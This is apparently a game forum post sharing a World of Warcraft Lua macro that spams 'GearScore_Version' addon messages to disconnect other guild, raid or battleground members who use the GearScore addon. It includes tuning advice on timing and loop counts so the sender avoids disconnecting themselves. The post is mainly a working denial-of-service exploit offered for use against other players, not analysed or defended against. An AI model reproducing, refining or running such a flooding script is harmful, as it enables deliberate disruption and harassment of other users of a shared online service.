Use the following script and it will disconnect anyone in your guild using the addon:
/script t=0;z=10;CreateFrame("frame"):SetScript("OnUpdate", function(s,e) if t>0.7 then for i=0,100 do SendAddonMessage("GearScore_Version","","GUILD","")end;if z>1 then t=0 else z=z-1 end elseif z>1 then t=t+e end end)
Change the word GUILD to RAID or BATTLEGROUND and it will d/c the respective users.
If this is disconnecting you in the process change the 0.7 value to something a little higher, 1.0 or 1.2 will work. If you are still getting d/c'd change the 100 value to something smaller, 65 or 50 will work.
This script will run until you relog. So if you do it before a raid and you wish not to lag, relog once.
EDIT: I didn't create this, just saw it on general forums moments before it was deleted
